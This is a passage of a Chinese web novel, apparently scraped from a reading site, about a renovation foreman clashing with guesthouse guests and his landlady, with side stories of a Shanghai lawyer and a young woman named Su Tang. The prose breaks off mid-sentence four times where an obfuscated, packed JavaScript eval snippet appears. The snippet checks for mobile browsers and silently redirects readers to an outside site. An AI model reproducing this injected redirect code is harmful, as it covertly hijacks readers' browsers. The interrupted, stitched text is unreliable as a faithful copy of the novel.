自己,也有孔乙己的长衫吗? 嗓子紧了紧,扯着嘴角,说:“又给你们找到机会休息了,哎!” “可不嘛,一般白领的带薪休假肯定比不过咱们!是吧小军!” “这就是土木工程的魅力。” 几个男人互相看着,这个形象总归是没那么体面的。 自己,也没有想象中那么乐观,容易接受这一身份。 “先洗澡换衣服吧,晚上我找沈姐说清楚。” ...... 晚饭摆了满满一桌,红烧鱼冒着热气,白斩鸡油光锃亮,连沈语棠常吃的酱瓜都换了新腌的脆萝卜—— 明眼人都看得出,是沈秀娥特意加的菜,一半赔给客人,一半安抚陆砚他们。 沈语棠给陆砚递过盛好的饭,邻桌的男人等了半天,也不见小姑娘过来,突然放下筷子: “小哥,您是师傅还是客人啊?” 平平淡淡的一句话,陆砚怎么都能从中听出某种意味。 想想也正常,在旅客眼里,自己是上帝,老板娘都要为自己服务,而一个装修师傅,不过是在老板娘手里做事的,级别自然低了去。 陆砚扒了口饭:“师傅,来讨生活的。” 没必要说些什么,而且也是事实。 “哦——”男人拖长了调子,夹菜的手悬在半空,“那可真得说道说道,这装修动静也太大了、环境也搞得乱糟糟的,我们来住店,总不能花钱买罪受吧?” 他身边的女人跟着娇笑,指尖敲着桌面:“就是呀,灰也大,闻着都呛。” 陆砚没接话,塑料杯跟张野碰了个,声音不高不低: “下午拆的木料,别丢了,攒起来一起找车拉走。” 张野和冯小军对视一眼,赶紧应和。 后厨的门帘动了动,沈秀娥的影子在布上晃了晃,却没出来。 陆砚门清,大概她是想让自己先扛着,毕竟客人是‘上帝’。 可他偏不,慢条斯理地给沈语棠夹了块鸡翅膀,眼神没起波澜。 僵持了会,眼见客人面子挂不住,沈秀娥终于撩帘出来,手擦着围裙: “哎呀,是我们考虑不周!明天起,保证等各位出门了再动工,绝不多扰!” 见有人认错,男人脸一沉直接起身:“老板娘,帮忙打包两份送房里来。” 走的时候故意把碗碟碰得叮当响。 “好嘞好嘞,不好意思啊!” 沈秀娥动作像风,脚尖一拧便钻进灶房拿碗筷。 看完全程的陆砚捏着筷子,手紧了紧——张野他们正埋头扒饭。 踏马的,这窝囊气受的。 正憋着股火,眼角余光瞥见沈语棠。 她头埋得更低,筷子在碗里没动弹,淡淡的眉毛衬得脸煞白。 陆砚心里那点刚冒头的戾气,忽然就软了三分。 桌角的灯照着满桌菜,热气腾腾里,看着说不出的别扭。 这家子...... 麻烦! 第二十二章 他没意见 饭后见两人无聊,陆砚便把车借出去,让张野茬冯小军跑镇上玩。 老板娘每每到这个时候,会出去放放风,走街串巷和人侃些时候,直到九、十点才回。 夜里,照例陪沈语棠在前台坐了会,一开始对方还无精打采,后面教学渐入佳境,话便多了起来: “戗金要顺着丝理走......陆哥你看,这只蝴蝶翅膀,用银线打底才显金箔亮......” 尽管枯燥,至少两个人有一个心情得到释放,无聊的消遣也就有了意义。 此时露水开始从晚间析出,老板娘带了把小菜扯着笑回来,接替沈语棠守前台。 白天的事该捋一捋了。 “老板娘,又去哪摘的菜啊?” “咿呀,这是吾阿(我)一个妹妹家里种的,无公害的甜白菜,明天早上给你们放粥里吃喏。” 明天喝粥啊。 想了想,来这里快一个星期,正是那几份面、几餐饭悄摸声地把人情送到自己碗里,搞成如今憋屈的局面。 那是人情吗? 那都是算好的,用几顿饭换他让步,比直接加钱划算得多。 不对,当初给她少了两万块,说用以抵房费餐费,怎么自己还会觉得承了情? 自己是师傅,也该是客人才对。 “沈姐,我就不跟你绕圈子了——” “小陆......今天我没出来,你不要怪沈姐不仗义...... 和你们不一样,我毕竟是个赔笑搞服务的角色,出来认错就得赔罪,赔罪总得给些东西出去吧? 今天是几顿早饭,明天是免一百块房费......这么些年,我也是被搞怕了。” 陆砚挪了挪嘴,虽然她的立场自己确实没想到,但这对解决问题有什么帮助吗? 此时此刻,体谅不能创造财富,只会让体谅者的利益转移他处。 显然他对一个四十岁年纪的女人,没有这份同理心。 “我理解你的难处,真的。但是工作总要做下去。 沈姐,考虑到早上客人睡觉,不能大动作,我们就把时间定到下午,结果下午也被喊停了。 现在你看怎么着?晚上来赶工?或者说,晚上他们不需要睡觉了?” 话说得很明白了。 也正是因为话说明白了,才清晰地意识到,这不是对和错的问题——而是立场上,天然具有不可调和性。 陆砚和客人都具有正当性,导致如此局面的,是贪心的沈秀娥。 她擅自招客,压根没给自己拒绝的机会—— 不管对方平日里善不善心、热不热情,抛开算计不谈,现在是就事论事的阶段。 “陆师傅......我是真忘记关美团了,您多担待一下......” “我刚看了,美团,好像现在也没关。” 沈秀娥动作一僵,讪讪道:“忙忘了、忙忘了。” ...... 天刚蒙蒙亮,青石板上的露水还未变薄,就被人用扫帚扫了过去。 沈语棠抱着衣篓蹑脚走进来时,陆砚正坐在床沿系鞋带。 “陆哥,早上好。” 早上需要仪式感,沈语棠竟意外懂他的心思。 “早上好,语棠......你这是?” 和往常不同,她这次先收走床头的空水杯,放下篓框,一只脚跪在床上将被角被捋得平平整整,连昨晚他揉皱的地方都舒展开了。 “昨天......那房客人多换了几床被套,之前洗的还有点湿......” 她侧着脸,盯着女孩微微发红的耳尖。 有意思...... 换不换被套,根本不会影响早晨的明媚。 这和谐的光线唤醒了震泽镇田埂边、河埠头的乌桕树,叶子红得,像要淌出油彩—— 也唤醒了上海这座繁华的大都市,马路上酝酿着早高峰的盛况。 阿乐又早早起了床。 破吉他:早上好,今天下班有没有空来喝一杯? 他知道这阵子对方很忙,压力很大,所以只是找由头问问。 万一呢?万一这个空窗期就被他把握到了呢? 逻辑再严密的女人,松懈下来都是感性动物。 这些年,他见过太多理智的、纯洁的、高冷的,乃至不喜欢男人的女人,在酒后对男人产生了浓烈的兴趣。 而且哦——不管是不是她的理想对象,在酒精美化下,本能欲望会替对方辩经。 也见过太多稀里糊涂就在一起的情侣,事实证明,走进一个女人内心最快的方式,正如张爱玲所说...... 压下火热的念想,阿乐洗漱完后,再次回到床上等待消息。 九点是工作的开始,经过这些天的摸索,他知道,顾南乔在九点二十左右就会查看微信消息。 短视频一个接一个刷走,果然,回信来了。 先科律所-顾南乔:这阵子没空,案子忙完再说吧。 嘿,有戏! 不管是不是客套,总之得到了承诺,下次会来。 不管会不会来,至少自己有了关心的由头,可以时不时问一句,‘工作忙吗?酿了好酒给你留点’。 或者幽默大胆一点,说,‘没有朋友照顾生意,日子快过不下去了’。 阿乐今年三十岁了,自然不会像个毛头小子那样傻愣愣的冲上去,平淡不失礼貌的回道: “好的,来的时候记得跟我说一声,多晚都可以。” 他知道,这条消息很无趣、甚至油腻,但留下了钩子。 酒吧是什么地方? 一个见惯了痴男怨女情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148816|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情爱爱的酒吧老板,自然有他的考量: 只要对方忍受着孤独,那么总有一天会寂寞的虫子会把心防啃出个洞,届时,那条信息会在某个辗转难眠的晚上,顺着那个洞钻进去,把她钩到自己身边。 虽然描述得像猎艳似的,可是成年人不就该如此吗? ‘勾引’一词听上去不雅,实际上道尽了男女交往的本质。 阿乐相较来说开始走向不年轻的行伍—— 但有些心情,不会因为岁月在身上的痕迹,便平淡下去。 反而因为经历得多,才知道遇见一个怦然心动的人有多不容易,因而这份悸动来得猛烈。 他一个翻身,给陈禹打了电话: “喂,兄弟,上次你的助攻还是有效果的,下回我再请你喝酒啊!” 陈禹此时驱车在往虬江路的旧料市场行驶,他今天打算去看看老金。 听罢电话里的兴高采烈,脑筋一转,就分析得明明白白: “明明是请我下次帮忙,怎么说得像大方请客一样,生意有越做越大的潜力啊,乐总!” “哪里哪里,禹总,我们俩谁跟谁啊......那个你跟陆砚说了吗?他怎么回的?” 陈禹看着路前的国产电动车,笑了笑: “能怎么说?他表示祝福。” ...... 老金出院以后,总觉得医生误诊了,压根没把他治好就放了出来,一整天精神萎靡得,刚起床就像在窑前守了大半天似的。 此刻将近九点半,才慢悠悠起床,打开门,然后回房里洗漱。 洗漱完,抽了根烟,没食欲,大早上的也没客人,便拧着茶叶,去找隔壁老甘侃大山。 不巧刚一出门,一辆宝马正好停在门口。 老金做了大半辈子生意,见过无数宝马,更见过无数比这更好的豪车,可此时偏偏这辆入门级的轿车,让他面上有些不自在。 路上没几辆车,引擎声熄灭之后仅有几个铺子的街道更是安静极了。 车门缓缓打开,陈禹先挥手喊了声:“老金!” 随后去后备箱提了两箱牛奶。 老人就站在原地看着,看那个离经叛道,却又死守着师徒本分的年轻人—— 他努力、上进,最后却没有走手艺的路子。 一开始收徒的时候冲着人身上的机灵劲才答应,结果两三年后,踩着他的肩膀跳向了粪坑。 没成手艺人也就算了,居然成了商人,还是最奸最没品的那种。 “老金,一会去吃个早茶不要?” “不饿。” 本想像以前一样赶人,可陈禹把他送去医院后,欠了情便抹不开面了。 所以有时候,人情债是最可怕的、也最难还的。 “出去逛逛呗,逛逛就饿了。” 第二十三章 科——哦、扣! 从建材市场回来,喊张野两人把水泥袋装卸了一部分。 本来想堆在大厅,可毕竟有客人在住,陆砚和沈秀娥再怎么立场不同,损人不利己的事也是万万不会做的。 “张哥,墙面检查好了吗?” 给房间‘换皮’的时候,总得检查下原来的里子有没有坏,像墙体中空、渗水之类的,趁早发现了,才有接着做下去的意义。 “检查好了陆哥,只有一小撮、蛋大的位置,需要重新找平,小军看了一遍、我看了一遍,稳的。” 确认对方没有饮酒,而且是醒酒状态,那情况十有**就如他所说了。 三楼的房间是最简单的,既不用改造,也不需要太多的修补,抹个灰贴个砖,基础就做完了。 “就是......” 此时冯小军略显犹豫,明显,有句不知当讲不当讲的话要说。 陆砚挑眉:“又不稳了?” 他指了指楼上:“后半夜那女的没安分过,他们估计要睡到中午。” 众所周知,人在需要睡眠的时候被非必要因素吵醒,便会自然而然点亮起床气的天赋。 接下来他们还要住五天,有必要把人得罪**吗? 有必要如此争分夺秒吗? 本着帮人就是帮己的原则,陆砚摊开手笑笑,“走,张哥,小军哥,咱们去村里逛逛。” ...... 律师,至少国内的律师,在收费的前提下,是不允许离开律所独立运营的。 换言之,顾南乔想要继续当律师赚钱,就必须挂靠在一家律所名下。 以她的学历,想找进入一家律所不要太容易——可她已经工作两年了,现在人家不看学历,看履历。 顾南乔的履历优秀吗? 优秀的。 先科律所虽然比不上红圈和跨国顶尖律所,却也是除此之外,最好的平台之一。 可这份优秀履历下的实质,经不起推敲。 实战经验几乎全是团队案件、团队案件中承担的角色几乎全是次次要角色,唯一独立的案子还是和顾明远的合作伙伴打的,那次胜诉,在业内人士眼里,属于污点—— 这个律师宁不清世故,容易给律所招黑。 所以她的履历,想要混过一个资深律师的眼睛、转投同级别或者次一级的律所,不出卖点原则的话,属于天方夜谭。 八点半,顾南乔来到先科律师大厦的十六楼,进门便看见了张羌,他的工位依然在最靠近厕所的地方,可在内部讨论中,资源倾斜已是板上钉钉的事情。 两人一照面,男人就起来打招呼:“顾律师,早啊,现在越来越早了。” “你也早。上进心还是比不过你。” “哈哈,共勉,共勉。” 提前结束休假这几天,顾南乔彻底戒掉了吃早餐这种事情,她怕吐出来。 女人自尊心比男人弱? 并没有这种说法。 处在这片空间、和那种人呼吸同一片空气,她无时不刻被**笼罩着。 可是要逃开吗?躲起来过小富即安的日子? 当然想要远远的躲开,就像杨灵一样,远走他国。 当然可以在夜幽灯灭悄悄心碎的时候,安慰自己,暗示自己——一个女人不需要太争强好胜。 正如父亲期望的那样,找个不错的人嫁了,安心过日子...... 偏偏顾南乔总是抓不到重点,把老顾说了无数遍、在最后一课仍然重复的那句话深刻记在心里: 这世上没有好东西是站着等来的,丢了幻想,去争,去抢。 如今,她已经快丢掉幻想了。 她想丢下体面去争了......至少,手上新接了个新案子,不是吗? 虽然到手的钱不多,放以前,连五个之一个包都买不起。 但此时新工作的出现就像救命稻草,她死死的攥着,努力让溺在水里的自己,扎在事情中,借助理想,偶尔透气。 ...... 下午的太阳斜斜切进房间,趁客人不在,开始动工。 张野蹲在地上用羊角锤敲砖,嘴里念叨:“八十、八十,大锤八十小锤六十!” “这是什么梗?” 为了赶时间、把动静最大的做了,他们仨都加入到‘八十’的队伍。 “春晚上的梗......你们是不是很多年没看过了?” “对啊张哥,现在年轻人哪里还看这个。” 十一月中下旬聊到春晚,陆砚突然就觉到了一丝年味。 小时候会期待的过年,现在如冯小军的句式那样,哪里还会期待? “哐当!” 小锤砸在旧地砖边缘,瓷砖应声裂开道缝。 张野顺势把撬棍**去,两人一抬一撬,整块地砖就掀了起来,带着底下的水泥渣滚到空气里。 “上一届的师傅挺厚道啊,破砖差点焊**。”张野抹了把脸上的灰,汗滴混着灰在下巴挂成串,“小军,递瓶水!” 冯小军扔过一瓶矿泉水。 瓶盖刚拧开,就听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162629|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前门口传来女人荡开的笑声,三人转头互视——人回来了。 张野立刻把锤子往墙角一放,“小军,你知不知道,昨天夜里,男人满足了,女人没满足,那哥们是怎么应对的?” 冯小军露出遐想的笑容,说:“扣呗!” “嗯~嗯~,有进步,等等,是扣还是口?” “扣啊,科——哦、扣!” 等情侣的脚步上了二楼,重新开工时动作都轻了八度。 敲地砖改成用錾子一点一点扣......凿。 每一下控制着力道,碎渣掉进提前铺好的厚纸板上,几乎没什么声响。 陆砚搬了张矮凳,坐在墙边处理墙面腻子,铲刀贴着墙皮轻轻刮,灰簌簌落在膝盖上的布兜里,声音很解压。 经过张野的笑话之后,氛围确实好了不少,但他们干活什么时候这么束手束脚过? 跟偷东西似的。 自己憋屈也就算了,还连累跟着自己的两人也憋屈。 要知道,张野可是二话不说就跟着自己远赴苏州的,如今就拿这样的条件对人,合适吗? 阳光从肩头滑过,照得粉尘在光柱里跳舞,他忽然想起刚跟着杨老头跑项目的时候,即使自己穿工装跑一整天,身上的灰也远赶不上此时...... 回过神,莞尔一笑,不由自嘲——工作就是工作,带着矫情,就是当领导也觉得受罪! 手上动作有条不紊做着,天光开始变薄、变淡。 好不容易把一个房间的活儿收了尾,三人把垃圾堆到房门口,用塑料布盖得严严实实。 陆砚拍了拍肩膀:“回房间歇会!今晚得让老板娘加个肉菜,这罪遭的。” 冯小军跟着笑,眼角的细纹里还嵌着灰。 张野正要应声,就看见同层那对情侣正好出来,准备下楼。 女人先看见他们,往男人身后躲了躲,男人则往旁边猛地一错身,肩膀几乎贴到墙,硬生生在三人面前留出条空荡荡的过道。 无声。 张野面上乐呵呵,冯小军则垂眼——这场景太熟了,挤地铁时,就被这样避开过。 只有陆砚的后背倏地绷紧了,喉结滚了滚。 忽又松了松,扯了扯皱巴巴的袖口,抬脚就往房间走: “走,洗澡去。” 他头也不回地说,声音听不出情绪,只有落在台阶上的脚步声,格外响亮。 经过那对情侣身边时,脚步没停顿,脊梁挺得笔直,把那两人压得往后又缩了缩。 第二十四章 愤怒开关 家里来了亲戚,表妹昨晚挤着她睡,视频自然没打成。 饭桌上听着动静,他们怕是还要住几天。 业精于勤荒于嬉,苏棠心里盘算着,等会儿得找个由头出去散散步——把晚上的聊天续上。 算了,散步还是太累了,就待在楼道里也能凑合...... “发什么呆?你叔叔问你呢。” 梅丽华轻碰下胳膊,语气比平时温柔小声了半截。 苏棠反倒心里痒痒,竟生出点想故意顶两句的冲动。 罢了罢了,毕竟是亲妈,犯不着气她。 “怎么了叔叔?” 抬眼,一个和苏国喜有几分相似的男人问: “听说你要考公?复习到哪步了?报的哪个单位?” 苏棠神色一僵——考公是说过,可复习?八字还没一撇呢。 她含糊地应:“嗯嗯。” 木心说过,答非所问便是答了。 叔叔他老人家,我希望你能懂点人情世故。 “嗯什么嗯?好好说话。”梅丽华却不肯放过,“你叔叔当年考过,这次可是特意来指导你的。” 那女人像个毛头小子似的火急火燎撕开自己的遮羞布,偏偏自己还无力抵抗。 生活啊,你那么残酷,是否要把人虐到体无完肤,才算过关呢? 苏棠深吸口气,越过梅丽华和叔叔,径直看向老苏家的长子长孙: “爸爸,最近我压力挺大的。” ....... 晚饭点,还没走出楼梯就听到男人的抱怨声: “怎么搞事的师傅和客人能一张桌子呢?我们是来玩的,出了钱是来享受服务的,跟打工的坐一桌很影响体验.......” “小哥,真是不好意思啊,我们目前就一张桌子......等翻过年了肯定再买一张哈......” “噔噔、噔噔!” 陆砚一行慢慢下楼,前台果然站着那个爱穿西装裤的男人,此时眼神闪躲,大概是有些尴尬。 有些话在背后想怎么说怎么说,可当面就另当别论了。 直到三人稳稳当当坐在前厅桌子旁,那人都没大声说一个字,也拉不下脸继续待着,转身上楼去了。 张野一脸神秘微笑凑前: “嘿嘿!今天晚上他肯定要拿那女的泻火,小军你信不信?” “张哥,你可早点睡吧,呼噜记得打响点,把他们盖过去。” 陆砚捏着筷子的手紧了又松,此时听到他们故意岔开话题,指节又用了几分力。 他记得,张野二十岁那会谁都不服,据说打过几场架、蹲了几次看守所以后才收敛点,开始跟人喝酒。 酒桌上也是争强好勇,喝了吐、吐了喝,习惯性的吐、习惯性的喝,喝到没人挑衅为止。 如今,他笑着编段子活跃气氛。 在文绉绉的人眼里,张野低俗的散发着臭味。 可陆砚看来,没有惹是生非还用自己的方式努力维稳的他,是比自己还小一岁、渐渐收敛锋芒的哥们。 自己会因为他人的风言风语而愤怒,因为他人中伤自己的伙伴怒火中烧。 张野则恰恰相反,会因为不坏了自己的事,更加嬉皮笑脸。 他们俩处在不同的位置自然会有不同的反应,可骨子里的那份心情,是相同的。 陆砚逼着自己往嘴里塞了口饭,米粒硌得牙床生疼——忍。 不忍,走到如今的一切就前功尽弃了。 “张哥,桑葚酒好喝不?” 张野嘿嘿一笑,扭头看沈语棠:“沈妹妹,告诉陆哥,酒好不好喝?” “......还可以。” “哈哈哈!” “轰嗡——” 门口的车辆引擎让陆砚脸上的笑容戛然而止。 神经刺痛,他有种不好的预感。 “咕隆隆——” 果不其然,行李拖动声传来没多久,门口进来一个脖子挂着相机的男人。 陆砚盯着沈秀娥迎上去的背影,眼皮突突直跳。 可能,要冲动一回了。 ...... 一张轻飘的纸铺在桌上,老金却被压得喘不过气来。 老人曾评价几个分道扬镳的朋友,说,侬以前就是跟在后头做事的,如今还搞出老板的派头了。 却不想回旋镖来得这么快,老四老五老六,不知怎么被说动,全跟陈禹搞一伙去了,如今这些人联合起来,反倒要拉着他入伙。 他想都没想,出去打车就走了。 陈禹一路跟过来,硬是把这张纸塞到门前柜台,才离开...... 抽了口烟,烟丝喷涌,人在里面快要淹死。 他老金,有什么理由,和仿古砖一伙? 就是这种来路不正的三流货色,篡了青砖的位,他坚守了大半辈子的行业被打压就算了,兄弟朋友徒弟改换门庭、跑去赚钱也忍了。 如今就想找个地方待着,结果还要步步紧逼地找上门,呵呵,都踏马是狼崽子。 他金坤,有什么理由,放弃全身心投入的事业,去赚那些个糊弄人的腌臜钱? 他有这么缺钱? ...... “昨天关美团时跳出来的单,”老板娘搓着手笑,“反正那对住七天呢,不如再开一间,空着也是空着。” “空着也是空着?” 陆砚‘啪’地把筷子拍在桌上,碗里的汤摇晃不止,“我们这两天拆了一间房,停了五次工,你现在说的什么话?” “小陆你急什么,”沈秀娥脸上的笑淡了,“这几天你们可以先歇着,等客人走了再赶工嘛。我管吃管住,成本也不小的。” “成本?”陆砚猛地站起来,椅子腿在地上刮出刺耳的响。 前台那男人的话突然在脑子里炸开——客人和打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女人却不依不饶,尖着嗓子喊: “什么破地方?穷乡僻壤的!要不是其他酒店满了,谁来这儿遭罪?” 老板娘的腰弯得更低了,“我保证,保证!以后肯定不打搅你们......” “不打搅?你看看那人,他想干嘛?我瘆得慌!” 眼见女人手指着张野,陆砚实在憋不住火:“手放下!” 真是给你惯的! 老子不冲着女人,但是你踏马找的男人最好身板硬一点! 那对男女被吼得身子一缩,眼见着陆砚要过来,腿脚已经忍不住后挪半步—— 突然,一双手紧紧环住,身后似乎还伴随着颤抖: “陆哥!” 就像装面的瓷碗砰然摔碎,这声呼喊将男人的理智拉了回来...... “真是对不起,对不起......房费打对折,三餐全免,按时给你们送上去......” ...... 闹剧终于在女人的冷哼里收场,老板娘弓着背送他们上楼。 陆砚拨开腰上的那双手时,对方指尖冰冰凉,可沈语棠的脸上,却那么平静,就仿佛看了场电影。 第二十五章 被伤透的女人 二楼的第一间是双人房,第二间,也是双人房。 陆砚在第三间房床上躺着,裤兜里的手机硌着腿,手机上面有给建材老板的打款信息。 沈秀娥约定的十一万七,至今只给了三万。 他往前一步是垫更多钱,往后一步是认栽走人,前后像铺着烧红的铁板,动一下,就烫得钻心。 感性上讲,此刻应该收拾东西走人。 合不合同的,他拟的合同,又怎么会写违约赔偿之类的呢? 沈秀娥精明市侩了大半辈子,就是吃了点没文化的亏,压根没想过检查下条款吧? 要是遇到黑心的,或许都能请律师将她一军,就是敲不出多少钱罢了。 可是法律上索赔不出多少钱,跟事实上的敲诈,有关系吗? 她们不要开店的?有人**,她们不愿意快点息事宁人?账上不是还有几万块吗,花钱消灾该是能谈谈的...... 陆砚笑了笑,尽管没打算实施,但他是个恶心的奸商、无良的装修师傅,他认了。 “噔噔噔噔噔噔!” 一个翻身,摸出手机: “喂!苏棠!” “咦——,好凶哦,陆砚。” “是啊,所以你就躲起来了?躲在黑暗中?” 画面里,只能看到一个脸的轮廓,和偶尔闪过的大白牙。 但因为知道是对方的缘故,亲切和轻松的感觉,油然而生。 “哎,生活不易,你就当我家停电了,这几天凑合看吧。” 见她叹气,陆砚也想叹气。 见她黑着脸,陆砚便‘啪’的关了灯,这下,整整齐齐了。 “生活不易,小丫头你也不开心啊?” 看不清表情,只知道画面晃了晃,对面沉默了一会,十分气愤的说: “对啊!陆砚你都不知道我有多惨,方圆十里八乡乃至整个江浙沪,恐怕几个比我不顺了......” 这边的手机光蓦的照亮陆砚的牙齿。 小姑娘真是撞上了,他此刻倒是想听听,想聊聊,甚至想比比,两者的生活,到底谁更不顺一点。 ...... 她曾与黄埔厂的拆迁大案失之交臂,职业生涯能有几次这样的机会? 整个黄埔区,又有几个厂子的拆迁、可以被先科拿到、又转交给自己? 故事里,汇聚了十年气运的机会丢了,就该走一段平庸之路了—— 顾南乔一点也不想成加班到最晚的那批人,不是因为怕辛苦,只是想避开某些人。 可是生活啊,是最了解你的对手,越怕什么,就越把什么往脸上递。 你越躲,它就越得意,越有羞辱一个人的成就感。 “顾律师,状态不错呀,这么迟了,一会要不要去喝一杯?我请客。” 顾南乔压着心思,面上平静回道:“不用,我没空。” 说完死死咬着牙关,控制愤怒。 一个劲告诉自己: 当时那个**器找出来,是没电状态,所以张羌还没察觉,所以要隐忍。 忍到,遇见报复的时机。 “哎,你一个姑娘家的,还是多注意休息哈!” 张羌的动作没有以前拘束了,手撑在她的工位挡板上,神情关切说着。 她突然想到什么,按开了口袋里的录音笔: “张律师,你案子效率这么高,还不是靠努力换来的。” 张羌不好意思的拍了拍脑袋,说道: “还是要点运气的,上次你家的案子......也不知道委托方做了什么,居然主动和解了......顾小姐,我就不问你们是怎么聊开的啦,毕竟是隐私嘛.......” 好个隐私。 真是个尊重他人隐私的律师。 顾南乔此刻终于确认,以前对方的殷切和腼腆,全是装出来的。 曾经她自作聪明的吊着对方,想套取信息,没想到,反而误了事! 压着恨,她起身离开。 电梯下到一楼,马路边车来车往。 不到九点的上海,顾南乔不知道,此刻该去哪。 ...... 没想到小丫头情商意外的高,这天,聊得畅快极了。 “陆砚,每个人都有低谷的时候,没关系的。”对面依然黑着脸,“你不是说了吗,马上工作满八年了,回来就能拿一级证耶......就和周叔一个级别了,好厉害的。” “是考证,不是拿证。哪有稳过的考试,拖个两三年拿不到很正常的。” “你的大白牙亮那么大干嘛捏,谁没有似的~” 隔着屏幕,对面也亮起了牙齿。 在自然界中,这本是一个带有威胁性的行为,可人类就是那么奇怪,能从各种行为中,用想象提炼出画面,从而感到一系列情绪。 陆砚看着几乎黢黑的屏幕,觉得对方可爱极了。 他在床上翻了翻身,被套的质感普通却柔软,皂角的味道顺着呼吸清晰传来。 “陆砚我要回家了,你先别挂电话......” 说着,苏棠把陆砚那边的麦克风关了,掏出钥匙推门而入。 “咔哒!” “苏棠,不是说今天没有兼职吗?出去锻炼啦?” 梅丽华因为家里来了客人,此时坐在沙发上,而非躺着。 她一只手换鞋一手把手机放胸口,问: “叔叔呢?” “他跟你爸出去喝酒了,别转移话题,做什么去了,快说!” 换完鞋,苏棠起身,不紧不慢地接话: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166383|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈妈,就算你不问,我也要告诉你的。” “嗯,态度不错,说吧。” 她勾了勾嘴角: “可是你为什么要咄咄逼人呢?咱们有话慢慢说不就好了,为什么要催我呢,你难道不知道,我最不喜欢别人催我了,别人一催我我就着急,一着急我就说不好话,一说不好话就不想说,可是你非得问我,我不说又显得不尊重你,一着急我有又说不好话......” 一开始,梅丽华面色平静的坐着,中途,她皱了皱眉,背绷直了,再后来...... “等等!我会说的,你不要过来!” “苏棠,棍棒底下出孝子,你要理解妈妈。” “容我最后一句!” 她小手往前一伸,如同言出法随般,让女人定了定。 梅丽华抱臂,饶有兴致看她狡辩。 “咳咳......” “咳嗽也算一句!” “妈妈你看!我是跟老顾客做工作去了!” 顺着苏棠的手,手机屏幕一片黑。 但这黑,并不均匀,似乎还是有些画面的。 “什么意思?对面是个人?” “......你不是说,那个天天买花的小伙子还不错嘛,这就是他!” 梅丽华再度凑近看了看,小屏幕里,自己的脸确实清晰可见,这说明苏棠的手机没坏。 “小伙子,是你吗?” “...” 陆砚皱了皱眉头,一个声音告诉自己,现在应该开灯打个招呼;另一个声音则告诉自己,打个屁的招呼,这不就是见丈母娘了吗? 不行,该有的礼貌还是得有,说完就找个理由挂掉吧—— “等等,我刚才把他的声音关了。” 苏棠赶紧点开麦克风,再次把手机递了过去,看着梅丽华。 “......丫头,你成功了。” “成功了?喂陆砚,你说什么了?我们的事,我还没同意啊?” 看着胡言乱语的女儿,又看看已经挂断的通话,梅丽华有理由相信,她就是当着自己的面掐断电话,然后开始了自导自演的戏码。 女人揉了揉脸,已经有很多年没被捉弄得如此生气了。 既然小丫头有底气把她当傻子耍,那么,自己也不该客气,免得寒了她的热心。 先对着房门喊了声:“月月,我跟你姐聊点事,一会不管多大声,你就当没听见啊!” “好的!” 危险危险危险! 苏棠一脸惊恐看向通话结束的界面,不敢相信居然被刚刚安慰好、曾经交换手环、上一秒还在你侬我侬的男人背刺了! 她一边后退一边试图重新拨回电话,可手机—— 终究还是迟了一步。 第二十六章 生活的隐喻 马可?9?9奥勒留在《沉思录》中强调:愤怒并非不可避免,而是基于对事物的判断——最后他还着重标明了,‘你有能力消除这种判断’。 **与军事、商业与管理,乃至艺术、文化和心理学领域,都有着相似的观点,都一致认为,愤怒是种非常好用的工具。 用文绉绉的话来讲就是: 愤怒是达成目的的手段,不是失控。愤怒就像水龙头一样可以收放自如,其本质是服务于人际博弈的策略。 所以涵盖了那么多领域、总结了那么多观点的结论,便适用于所有人了吗? 当然不! 基于严谨的学术态度,即使写道——上述观点适用于多数人——也是不严谨的。 可它适用于陆砚。 倘若陆砚百般否认,那便再贴个‘心口不一’的虚伪标签,即可。 黑暗中,男人结束和苏棠的视频通话后,躺在床上久久没有动弹。 直到张野过来敲门,才起身应付了几句,又回来躺着。 已经很久没发过这么大脾气,还差点动了手。 当时,自己做好动手的准备了吗? 做好面对警察和蹲看守所的准备了吗? 如果做好了准备,又怎会被沈语棠轻易拦下来。 那么,到底是什么原因,让自己这般愤怒...... 显而易见,所有人都知道,是陌生人的羞辱、轻蔑,才触怒了自己。 所有人都知道,自己隐忍过,也大度过,于是刚才的愤怒显得像是为朋友出头。 一切顺理成章—— 在我们的文化里,‘欺负我可以、欺负我后面的人不行’,所以愤怒的开关有了绝佳的启动契机。 或许自己真的被那股子情怀给打动了,情愿在伟光正的氛围下,付出惨烈代价...... 好了,就分析到这里吧,再往里面深挖,一切就不那么看得过去了。 ...... “陆哥他......” 张野摇了摇头,“他说自己呆一会。” 